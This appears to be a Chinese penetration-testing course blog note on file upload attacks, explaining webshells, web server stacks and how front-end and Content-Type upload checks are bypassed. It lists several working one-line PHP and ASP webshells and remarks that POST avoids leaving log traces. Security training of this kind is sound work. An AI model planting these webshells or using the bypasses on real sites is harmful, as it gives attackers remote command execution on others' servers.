文件上传 第三十九天

  1. webshell
    1. web网站的shell
    2. shell功能
    3. 类别(大马和小马)
    4. php执行系统命令
  2. 网站的组成
    1. 文件上传的触发点
    2. 前端js验证
    3. 文件类型验证

webshell

web网站的shell

    shell  通过shell管理操作系统,shell是用户和内核交互的程序

shell功能

    文件管理
    命令执行
    管理数据库

类别(大马和小马)

    大马    功能全面    
    小马    功能单一 udf.php file.php  system.php

php执行系统命令

    一句话木马    php  asp
    <?php @eval($_POST['pass']);?>   

    $_POST  ==>  $_REQUEST

    <?php assert($_POST['pass']);?>   

    $_POST  ==>  $_REQUEST

    <?php preg_math('/123/e', $_POST['pass'], '123456');?>

    <% eval request("pass") %>

附注:不用get的原因是,会有日志痕迹,并且会有数据冲突问题!

网站的组成

    linux/windows + apache + mysql/oracle/mongodb/redis + php(module)

    linux/windows + nginx + mysql + php-fpm(fastcgi)

    windows + iis + mysql + php(fastcgi)

    linux/windows + tomcat/weblogic/jboss + mysql/oracle/mongodb/redis + jsp/jspx

    windows + iis + mssql/access + asp/aspx

    以上三大类,客户端进行请求时,http://www.a.com/upload/404.php,中间件(
iis,apache,nginx,tomcat,weblogic,jboss)接受到请求,会进行解析,识别出要请求的路径以及
文件名字,如果文件后缀是中间件可识别的脚本语言后缀(php,asp,jsp,...),就会调用php、.net
、c#、java程序,去执行对应的文件。如果文件后缀,不是中间件可识别的脚本语言后缀,就直接
让客户端下载这个文件。

    webshell需要放在网站设置的目录当中,后缀需要是中间件可识别的脚本语言后缀,
这个webshell才能够正常使用。使用时,先写网址,在后面加路径,以及文件名字。



    linux/windows + nginx + nodejs/go/python/ruby/...  + mysql/sqlite/oracle/redis  // 没有webshell

    靠路由的方式,进行解析请求的。

文件上传的触发点

前端js验证

文件的后缀:js前端验证

文件的类型,


两大类:前端与后端

文件的内容:文件头检测,文件扩展名检测,文件加载(图片渲染,识别图片内容)


修改js文件,禁用js,burpsuite的抓包,改包

大部分网站都是前端验证加后端验证一起操作

文件类型验证

修改上传文件类型:
content-type


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com

文章标题:文件上传 第三十九天

本文作者:弈少

发布时间:2019-09-14, 14:42:04

最后更新:2019-09-15, 14:19:56

原始链接:http://yoursite.com/2019/09/14/北京渗透测试第三十九天 20190911/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

相册